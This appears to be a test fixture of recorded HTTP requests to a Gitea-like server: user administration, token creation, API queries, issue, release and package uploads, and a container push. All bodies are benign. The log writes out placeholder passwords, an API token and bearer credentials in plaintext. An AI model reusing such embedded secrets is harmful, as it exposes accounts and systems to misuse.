+{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
+{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
+{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
+{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
+{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
+{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
+{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
+{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
+{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
+{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
+{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
